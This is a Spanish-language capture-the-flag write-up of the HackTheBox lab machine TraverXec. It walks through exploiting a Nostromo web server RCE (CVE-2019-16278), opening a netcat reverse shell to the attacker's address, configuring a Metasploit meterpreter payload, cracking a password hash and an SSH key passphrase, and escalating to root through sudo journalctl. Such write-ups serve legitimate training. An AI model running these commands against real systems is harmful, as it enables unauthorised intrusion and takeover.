HTB – WriteUp – TraverXec

Buenas conejetes!

En esta ocasión vamos a hacer el WriteUp de la máquina de HackTheBox con nombre TraverXec que quitaron este fin de semana; un linux creado por jkr categorizado con dificultad fácil-media:



Enumeración

Qué mejor para empezar que comprobar los puertos abiertos de este linux, pudiendo ver que dispone de un puerto SSH y un HTTP:

nmap -sV -sS -Pn -p- -O 10.10.10.165

La página que sirve en sí el puerto 80 es bastante aburrida (tan sólo podríamos enumerar un usuario: «David»), pero tal y como se puede apreciar tenemos montado un Nostromo Web Server, en su versión 1.9.6.

Ya que tenemos un servidor web, utilizamos también la herramienta Nikto, no aportando información adicional significativa:

nikto -h 10.10.10.165



Explotación

Con una búsqueda rápida de nuestro servidor web a explotar, podemos ver que existe un RCE basado en Directory Traversal disponible basado en el CVE 2019-16278.

Si bien mi opción fue utilizar Metasploit, también es posible explotarlo de manera manual.


Manual

Una de las formas más sencillas de buscar exploits disponibles es hacer uso del comando searchsploit:

searchsploit nostromo

Tal y como se puede apreciar, tenemos tres exploits: el propio de Metasploit, uno hecho en python, y un bash.

A nivel particular, cuando realicé la máquina no me apareció el exploit en python (¿?), y tras probar el bash y no conseguir ejecutarlo correctamente, salté directamente a Metasploit. Igualmente, os detallo qué habría que realizar para explotarlo con el exploit de python.

Si nos leemos el propio script, veremos que su ejecución debería ser del siguiente modo, para ejecutar el comando id:

python 47837.py 10.10.10.165 80 id

Como se puede ver, tan sólo es necesario indicar la IP y el puerto objetivo, así como el comando a ejecutar.

Como el objetivo es ganar acceso remoto, podemos hacer uso de Netcat y crear una shell reversa hasta nuestra máquina del siguiente modo.

Primero, pondríamos a escuchar las conexiones entrantes en un puerto determinado:

nc -nlvp 4444

Para después, volver a ejecutar el exploit de la siguiente manera:

python 47837.py 10.10.10.165 80 "nc -e bash 10.10.15.XXX 4444"


Metasploit

Tras iniciar nuestro Metasploit, buscamos el módulo en concreto y lo configuramos de la siguiente manera:

search nostromo
use exploit/multi/http/nostromo_code_exec
set rhosts 10.10.10.165
set target 1
set payload linux/x86/meterpreter/reverse_tcp
set lhost 10.10.15.XXX
exploit

Una vez hecho esto, podemos ver que tenemos acceso remoto mediante una shell reversa a la máquina con una sesión de meterpreter.



User

Una vez dentro, ejecutamos alguno de nuestros scripts favoritos para recabar información de la máquina. En este caso, usaremos LinEnum.sh; y para subir el fichero, hacemos uso del módulo upload de Meterpreter. En caso de tener una shell sin Meterpreter, podríamos subir el fichero con scp o crear un servidor HTTP por medio de python:

Antes de ejecutar el script, ejecutamos el comando shell para acceder con una consola estandar, sanitizamos, damos permisos y ejecutamos:

shell
python -c 'import pty;pty.spawn("/bin/bash")'
chmod +x linenum.sh
./linenum.sh > salida.txt

Al leer el fichero de salida, podemos ver rápidamente lo que parece un usuario (ya visto anteriormente en la propia página web) y un hash:

Utilizamos nuestra herramienta favorita para descodificar contraseñas junto con un diccionario cualquiera, obteniendo lo que podría ser una contraseña:

hashcat -m 18200 --force -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

Tiempo después, veremos que esto no sería necesario…

De manera paralela, echamos un vistazo a las carpetas del servidor Nostromo, más concretamente donde encontramos el hash anterior:

Esta información, junto con la documentación oficial de Nostromo, nos indica cómo llegar a la página principal del usuario que tenemos listado:

Pero en este caso, no parece que tengamos permisos «del todo»:

Desde la máquina parece que tenemos acceso a la carpeta del usuario, pero no podemos listarlo (¿wtf?). Sin embargo, sí que podemos «saltarnos» la restricción de la carpeta del usuario y llegar a la parte pública:

Dentro de la carpeta «protected-file-area» encontramos lo que parece un backup de identificadores SSH, por lo que procedemos a descargarlo:

download backup-ssh-identity-files.tgz

Si comprobamos el fichero «id_rsa«, veremos que está cifrado. Para poder utilizarlo y conectarnos vía SSH necesitaremos la herramienta favorita de @Holden. Primero, tendremos que convertir el fichero a un formato que pueda utilizar John the Ripper:

Para luego sacar la passphrase necesaria para conectarnos por SSH:

Lo probamos, y nos conectamos como el usuario David:



Escalada de Privilegios

Una vez en el directorio de nuestro usuario impersonado, lo primero que comprobamos es si hay algún fichero interesante:

Nos llama especialmente la atención el directorio bin, encontrando un script en bash con el siguiente contenido:

Tal y como podemos ver, se hace uso del servicio Journalctl con el argumento -n5 para listar así las las últimas 5 líneas del log del servicio Nostromo. Sí echamos un vistazo al binario en GTFOBins por si tuviese posibilidad de explotación para así ganar privilegios en nuestra máquina, podremos ver que Journalctl funciona de manera muy similar que el comando less, el cual muestra en la pantalla que se haya invocado la información solicitada, tras lo que espera a un input por parte del usuario, momento en el cual utilizaremos nuestra instrucción !/bin/sh:

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

Si bien por definición al poner dicha instrucción ya podríamos ejecutar comandos, lo cierto es que parece ser que necesitaríamos una instrucción en el log que superase la ventana actual en el que la ejecutemos. Podemos meter la instrucción hasta que ésta funcione… pero otra solución mucho más rápida es la que me aportó mi compañero de trabajo Jorge una vez comparamos la solución: hacer la consola muy pequeñita forzando así a que cualquier log desbordase la consola haciendo saltar así la escalada de privilegios:

Consiguiendo así acceso root a la máquina:

Sin más, espero que os haya gustado este pequeño WriteUp.

#quédateEnCasa

Saludos conejiles y a comer muchos huevos de Pascua,

gonx0